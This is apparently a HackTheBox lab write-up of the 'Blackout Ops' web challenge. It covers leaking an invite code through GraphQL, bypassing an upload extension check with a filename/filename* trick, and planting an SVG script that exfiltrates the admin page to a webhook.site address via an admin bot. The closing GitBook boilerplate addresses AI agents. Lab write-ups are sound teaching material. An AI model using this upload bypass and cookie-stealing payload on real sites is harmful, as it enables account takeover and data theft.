> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-blackout-ops.md).

# HTB - Blackout Ops

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FrCBQyqXrvYZl8WlYqwdQ%2Fimage.png?alt=media&amp;token=5de97566-718d-48e1-a54c-e9d45001f03a" alt=""><figcaption></figcaption></figure>

Download the zip file and extract it using the password given.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F49omWMzb7yQmrsRD8n1B%2Fimage.png?alt=media&amp;token=12de9b9e-1b57-4c7a-a7d8-cdd059611de2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLU6fw6CtkuoZI4FpKGn5%2Fimage.png?alt=media&amp;token=dcee64c8-8b15-4d45-9bd3-df3914bbb3b4" alt=""><figcaption></figcaption></figure>

Browsing to the given ip address reveals a login page and a registration link. As a initial step looked for sql injection on the login page but the application is not vulnerable to it.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FRpcfCH5KPBMberA24Dmi%2Fimage.png?alt=media&amp;token=727666b4-6bac-4798-a769-03c29cbe5524" alt=""><figcaption></figcaption></figure>

We need to register an email with blackouts.htb as the domain.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FYl61UYkDxuc0FAcxP8Eu%2Fimage.png?alt=media&amp;token=d356b6ac-26c9-4011-bde8-ebd27a7ded84" alt=""><figcaption></figcaption></figure>

once registered, use the credentials to login to the application.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FBsab9RhU3Qdcqw32AH5j%2Fimage.png?alt=media&amp;token=e058ba95-77ad-4f2f-984b-b6401753d444" alt=""><figcaption></figcaption></figure>

Successful login makes a request to GraphQL endpoint.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWrhfqMbuyte9XVzOzVSI%2Fimage.png?alt=media&amp;token=0506fec8-2c92-4b7e-9802-095c7fe94d11" alt=""><figcaption></figcaption></figure>

The dashboard has a submission of a evidence and an incidence report.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FTllbn87sEaLmEs1D9oiU%2Fimage.png?alt=media&amp;token=b7e41941-e385-4742-8690-739326844d47" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FEz64kwIwHWNuyCU99Ngb%2Fimage.png?alt=media&amp;token=6830645f-4876-47b0-bf1e-905aacf39973" alt=""><figcaption></figcaption></figure>

submitting a incident report, throws an error as need the account to be verified.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FLZhDqK1jwr4jKI06abJs%2Fimage.png?alt=media&amp;token=af4d10d1-7d3c-49e6-a46b-816c30bede06" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FX86OgTFB6TV16bWfCfGo%2Fimage.png?alt=media&amp;token=0c80eb5d-e69f-4c8a-aa78-ba4b59655f6d" alt=""><figcaption></figcaption></figure>

introspection first to confirm the actual accepted args.

```powershell
{"query":"{ __schema { mutationType { fields { name args { name type { name kind ofType { name } } } } } } }"}
```

```powershell
HTTP/1.1 200 OK
Server: openresty/1.27.1.2
Date: Sat, 08 Aug 2026 10:26:32 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 1103
Connection: keep-alive
X-Powered-By: Express
Access-Control-Allow-Origin: *
cache-control: no-store
ETag: W/"44f-SakPhB/iedRrsC9qDIwHAEcRf+w"

{"data":{"__schema":{"mutationType":{"fields":[{"name":"login","args":[{"name":"email","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}},{"name":"password","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}}]},{"name":"submitIncidentReport","args":[{"name":"title","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}},{"name":"details","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}},{"name":"evidenceUrl","type":{"name":"String","kind":"SCALAR","ofType":null}}]},{"name":"updateIncidentReportStatus","args":[{"name":"id","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"ID"}}},{"name":"status","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}}]},{"name":"register","args":[{"name":"email","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}},{"name":"password","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}}]},{"name":"verifyAccount","args":[{"name":"inviteCode","type":{"name":null,"kind":"NON_NULL","ofType":{"name":"String"}}}]},{"name":"regenerateInviteCode","args":[]}]}}}}

```

To verify the account, a verified code is being sent.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FdPJ3KdTZXI7qO8KWLbT4%2Fimage.png?alt=media&amp;token=53ed389c-cc16-4fc1-91ab-4232ac384ddb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVeyevRnC905lZUTwPJK6%2Fimage.png?alt=media&amp;token=6ddff233-d87c-48c8-9817-16d4364ea740" alt=""><figcaption></figcaption></figure>

The code is sent to email which we dont have access to.

### Leaking the invite code via GraphQL

The app exposes a GraphQL endpoint at `/graphql`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fl6ohNSp6IrmClZSYieun%2Fimage.png?alt=media&amp;token=69589626-93f7-4a51-8933-b133787a2495" alt=""><figcaption></figcaption></figure>

`inviteCode` isn't exposed anywhere in the UI, but nothing stops us from querying it directly through the authenticated `me` query:

```powershell
{"query":"{ me { id email role verified inviteCode } incidentReports { id title details evidenceUrl status submittedAt } uploads { id filename size uploadDate uploadedBy } systemStatus dataStorage powerLevel }"}
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPJS0KcUMbPS5WFjpMLAk%2Fimage.png?alt=media&amp;token=2f13421b-fdc6-49d6-97e7-026d7957b6fe" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FjP9HxEyF7CTFDu4lzaER%2Fimage.png?alt=media&amp;token=c7d99180-db02-44d3-9f26-b615ae6b4bf2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FO3MKE9oFTJaYOBQPznBL%2Fimage.png?alt=media&amp;token=f79cb362-5bfc-4f80-beec-759980d6e9ef" alt=""><figcaption></figcaption></figure>

user is verified now. also there is not verify option now appears on the dashboard

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIMcVBLNCsdV6goPrqGpx%2Fimage.png?alt=media&amp;token=66025adf-1843-4341-ac51-8e8cad85f38c" alt=""><figcaption></figcaption></figure>

### Bypassing the upload extension whitelist

Two routes matter for the next stage:

* **`submitIncidentReport`** (GraphQL mutation) — validates that `evidenceUrl` starts with `http://` or `https://`, inserts the report, and then — critically — asynchronously spins up a Puppeteer bot that logs in as an admin and visits our `evidenceUrl`.
* **`POST /upload`** — parses the multipart body with `@fastify/busboy`, and (per the server behind it) only allow-lists `.jpg`, `.jpeg`, and `.png` based on the filename in the `Content-Disposition` header. There's no server-side validation of the actual file *contents*.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fm4qt8xfpAn670ltBWZds%2Fimage.png?alt=media&amp;token=d564bbb9-4630-425b-b229-36507f7291f8" alt=""><figcaption></figcaption></figure>

whenever a **verified** user submits an incident report with an `evidenceUrl`, the server spins up a bot that:

1. Logs into the actual application **as the admin** (using real admin credentials pulled straight from the DB),
2. Then navigates to **your `evidenceUrl`** in that authenticated browser session.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fw6txwP0CdzsT4APCeotM%2Fimage.png?alt=media&amp;token=c17ac72f-9fe6-4d9b-ab0f-9907d6ff8031" alt=""><figcaption></figcaption></figure>

* **File upload endpoint** (`POST /upload` in `routes/pages.js`)
  * Uses Busboy and OpenResty to parse multipart files.
  * Naïvely trusts the file extension in the `Content-Disposition` header to whitelist only `.jpg`, `.jpeg`, and `.png`.

After uploading, the filename is recorded in the database, but there's no additional server‑side validation of the file contents.

Busboy/OpenResty multipart parsing has a well-known quirk: if you supply **both** a plain `filename` and an extended `filename*` parameter in the same `Content-Disposition` header, different parsers can disagree about which one is authoritative. The extension-check code reads `filename` (sees `.png`, passes), while the code that actually names the saved file on disk uses `filename*`:

```
Content-Disposition: form-data; name="file";
  filename="image.png";
  filename*=UTF-8''exploit.svg
```

Result: the check sees a harmless `.png`, but the file is written to disk as `exploit.svg`.

### The SVG payload

SVG files can carry inline `<script>` tags, and when a browser **navigates directly** to an SVG (as opposed to loading it via `<img src="...">`), it treats it as a top-level document and executes that script. That's exactly what the admin bot does when it opens our `evidenceUrl`.

```bash
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400">
  <script type="text/javascript">
    fetch('/admin', { credentials: 'include' })
      .then(res => res.text())
      .then(html =>
        fetch('https://webhook.site/<your-unique-id>', {
          method: 'POST',
          headers: { 'Content-Type': 'text/plain' },
          body: btoa(html)
        })
      );
  </script>
</svg>
```

Upload it with the `filename` / `filename*` trick from Step 2, then submit an incident report:

```bash
mutation {
  submitIncidentReport(
    title: "test"
    details: "test"
    evidenceUrl: "http://<host>:1337/files/exploit.svg"
  ) {
    id
    title
    details
    evidenceUrl
    submittedAt
  }
}
```

The mutation resolver fires off a Puppeteer bot (`bot.visitReport`) that logs in with admin credentials and then `page.goto()`s our `evidenceUrl`.

`bot.js` performs the login step here:

```
await page.goto("http://127.0.0.1:1337/", { waitUntil: "networkidle0" });
// ...types credentials, clicks submit...
```

Express sessions are cookie-based and, by default, cookies are scoped to the exact host they were set on — `localhost` and `127.0.0.1` are *different hosts* as far as the cookie jar is concerned, even though they point at the same server. If `evidenceUrl` uses `localhost`, the SVG's `fetch('/admin', { credentials: 'include' })` runs on the `localhost` origin, which has **no** session cookie — so the request comes back unauthenticated and you just get the same login page reflected back at you (confirmed by decoding the exfiltrated payload and finding it was byte-identical to the anonymous `/` login page).

### Exploitation putting all together

```powershell
POST /graphql
Content-Type: application/json

{
  "query": "mutation { register(email: \"attacker@blackouts.htb\", password: \"password123\") { id email role inviteCode verified } }"
}
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FpgkFSLva7oNxpeEEp1ZZ%2Fimage.png?alt=media&amp;token=79695df8-c3c8-4eab-b4db-7f2b29067451" alt=""><figcaption></figcaption></figure>

account verified

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FZwdbZ4G69YJNHfeXbJrc%2Fimage.png?alt=media&amp;token=0be8ff3e-fa46-4886-be34-1523c4682b47" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FcitTPCR6lqDuVFgjBVWv%2Fimage.png?alt=media&amp;token=d54ad31b-d8d9-4b9b-8ef1-31f2f0e850b8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F7D9IxkRAg6efQRNQqb0d%2Fimage.png?alt=media&amp;token=1c8e8c95-8ccf-47f0-8574-b14d72f1002a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbwMS2oSncozhEF939cvJ%2Fimage.png?alt=media&amp;token=63115b18-3db1-4008-9144-1119793ad6f4" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FsZUMOOFjs3fwgmc7S2Gd%2Fimage.png?alt=media&amp;token=783724f6-8bff-4ac3-8fca-8a8e503c19be" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hackthebox-cwes-track/htb-blackout-ops.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
